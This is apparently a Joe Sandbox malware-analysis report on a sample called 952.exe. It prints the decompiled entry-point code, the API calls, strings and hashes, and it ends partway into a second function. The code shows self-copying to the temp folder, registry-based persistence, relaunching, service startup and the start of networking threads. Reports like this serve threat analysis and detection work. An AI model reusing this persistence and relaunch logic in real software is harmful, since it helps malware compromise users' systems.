Uniqueness Score: -1.00%

Analysis Process: 952.exe PID: 1068 Parent PID: 3472 952.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 98.8, APIs: 48, Strings: 8, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
0x0040a093
0x0040a093
0x0040a007
0x00409feb
0x00409fe1
0x0040a09a
0x0040a09d
0x0040a09f
0x0040a0a2
0x0040a0b6
0x0040a0de
0x0040a0e7
0x0040a0ec
0x0040a0fd
0x0040a0fd
0x0040a0a2
0x0040a120
0x0040a126
0x0040a128
0x0040a131
0x0040a137
0x0040a137
0x0040a13a
0x0040a13e
0x0040a140
0x0040a143
0x0040a145
0x0040a145
0x0040a143
0x00000000
0x0040a13e
0x00409ef4
0x00409ef7
0x00000000
0x00000000
0x00000000
0x00409ef7
0x00409cac
0x00409cb2
0x00409cb4
0x00000000
0x00000000
0x00409cd5
0x00409cda
0x00409cdf
0x00000000
0x00000000
0x00409ce9
0x00409cec
0x00409d58
0x00409d59
0x00409d64
0x00409d65
0x00409d6a
0x00409d7a
0x00409d8b
0x00409d9d
0x00409da3
0x00409da3
0x00000000
0x00409cf6
0x00409cf6
0x00409cfc
0x00409cff
0x00409cff
0x00409d01
0x00409d02
0x00409d06
0x00409d0a
0x00409d16
0x00409d16
0x00409d17
0x00409d1b
0x00409d2f
0x00409d2f
0x00409d3e
0x00409d41
0x00409d49
0x00409d4f
0x00409d52
0x00409da5
0x00409da8
0x00409db6
0x00409db6
0x00409db0
0x00409db0
0x00409db0
0x00409db7
0x00409db8
0x00409dbf
0x00409dc3
0x00409dca
0x00409dd1
0x00409dd2
0x00409dd7
0x00409ddc
0x00409e21
0x00409e26
0x00409e29
0x00000000
0x00409dde
0x00409df5
0x00409e0c
0x00409e11
0x00409e16
0x00409e1c
0x00409e2e
0x00409e2e
0x00409e38
0x00000000
0x00409e38
0x00409df9
0x00409dfd
0x00409dff
0x00409dff
0x00409e04
0x00000000
0x00409e04
0x00409d1d
0x00409d1d
0x00409d23
0x00409d2a
0x00409d2d
0x00000000
0x00000000
0x00000000
0x00409d2d
0x00000000
0x00409d23
0x00409d1b
0x00409cec
0x00409c81
0x00409c3f
0x00409b47
0x00409b4a
0x00409b4d
0x00409b56
0x00409b8b
0x00409b91
0x00409b92
0x00409b94
0x00409b9f
0x00409b9f
0x00409b9f
0x00409ba4
0x00409ba4
0x00409bb3
0x00409bb8
0x00409bbf
0x00409bbf
0x00409bc2
0x00409bc8
0x00409bde
0x00409be3
0x00409be8
0x00409bfa
0x00409bff
0x00409c02
0x00409c02
0x00409be8
0x00000000
0x00409bc8
0x00409b58
0x00409b5e
0x00409b64
0x00409b67
0x00000000
0x00409b69
0x00409b6b
0x00409b7a
0x00409b7f
0x00000000
0x00409b7f
0x00409b67

APIs

SetErrorMode.KERNELBASE(00000003), ref: 00409A7F
SetErrorMode.KERNELBASE(00000003), ref: 00409A83
SetUnhandledExceptionFilter.KERNELBASE(00406511), ref: 00409A8A

Part of subcall function 0040EC54: GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
Part of subcall function 0040EC54: GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
Part of subcall function 0040EC54: GetTickCount.KERNEL32 ref: 0040EC78

GetModuleHandleA.KERNEL32(00000000,?,0000012C), ref: 00409AB3
GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32 ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32 ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32 ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00002710), ref: 0040A4C3

Strings

D, xrefs: 00409F8E
%X%08X, xrefs: 0040A0B0
", xrefs: 0040A189
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
P, xrefs: 00409DAA
", xrefs: 00409EDB
\, xrefs: 00409D0C
", xrefs: 0040A078

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$D$P$PromptOnSecureDesktop$\
API String ID: 2089075347-2824936573
Opcode ID: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
